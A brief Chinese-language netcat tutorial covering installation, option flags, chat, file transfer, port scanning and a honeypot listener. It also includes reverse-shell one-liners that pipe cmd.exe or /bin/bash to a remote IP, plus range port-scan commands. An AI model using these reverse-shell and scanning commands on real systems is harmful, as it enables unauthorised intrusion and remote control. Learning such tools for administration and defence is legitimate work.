nc被誉为网络工具中的瑞士军刀
linux安装
centos: yum install nc
ubuntu: apt install netcat
windows的cmd安装nc
crul https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip -o netcat.zip
tar -xvf netcat.zip
使用
nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [hostname] [port[s]]
常用选项:
- -d: 后台模式
- -e prog: 程序重定向,一旦连接,就执行 [危险!!]
- -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息
- -i secs: 延时的间隔
- -l: 监听模式,用于入站连接
- -L: 连接关闭后,仍然继续监听
- -n: 指定数字的IP地址,不能用hostname
- -o file: 记录16进制的传输
- -p port: 本地端口号
- -r: 随机本地及远程端口
- -s addr: 本地源地址
- -t: 使用TELNET交互方式
- -u: UDP模式
- -v 详细输出--用两个-v可得到更详细的内容
- -w secs: timeout的时间
- -z: 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式 - -4:只使用 IPv4 地址
- -6:只使用 IPv6 地址
- -l:启动本地监听
- -n:不使用DNS解析
- -p:指定源端口
- -s:指定源 IP 地址
- -u:使用 UDP,默认是 TCP
- -v:显示详细信息
- -w:设定超时时间(只适合用在 Client 端)
- -d:禁止从标准输入读取数据,也就是客户端输入数据不会发送到服务端
- -k:让服务端保持连接,不断开
建立聊天室
服务端接收: nc -lp 1234
客户端发送: nc -v -p 5000 localhost 1234(指定端口)
nc -nvv 192.168.x.x 80(不指定端口)
发送文件
服务端接收: nc localhost 1234 > out.txt
客户端发送: nc localhost 1234 < in.txt
端口扫描
nc -vz 192.168.0.117 1-100
或
nc -nvv -w2 -z 192.168.x.x 80-445
扫描192.168.x.x的TCP80到TCP445的所有端口
REMOTE主机绑定SHELL并反向连接
nc -t -e C:\Windows\System32\cmd.exe 192.168.x.x 5354
nc -e /bin/bash 192.168.43.186 5555
绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
作蜜罐用
nc -L -p 80 > c:log.txt
使用-L可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,如果把‘>’改为‘>>’即可以追加日志。
nc -L -p 80 < c:honeypot.txt
type.exe c:honeypot.txt|nc -L -p 80
同上并把c:honeypot.txt的内容‘送’入其管道中